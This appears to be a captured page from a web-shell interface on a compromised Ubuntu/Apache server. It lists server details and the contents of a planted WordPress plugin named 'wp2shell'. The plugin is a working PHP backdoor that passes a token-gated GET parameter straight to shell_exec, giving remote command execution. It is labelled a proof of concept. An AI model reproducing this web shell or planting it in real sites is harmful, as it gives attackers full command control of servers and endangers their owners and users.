| Server IP : 93.86.61.54 / Your IP : 216.73.216.60 Web Server : Apache/2.4.62 (Ubuntu) System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64 User : www-data ( 33) PHP Version : 8.4.22 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/cwd/wp-content/plugins/wp2shell_7f2b9b2e/ |
Upload File : |
<?php
/*
Plugin Name: wp2shell
Description: PoC webshell. DELETE AFTER TESTING.
*/
if (hash_equals('cf1bddc884057d213ff94c3b1f7926ff', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {
echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END';
}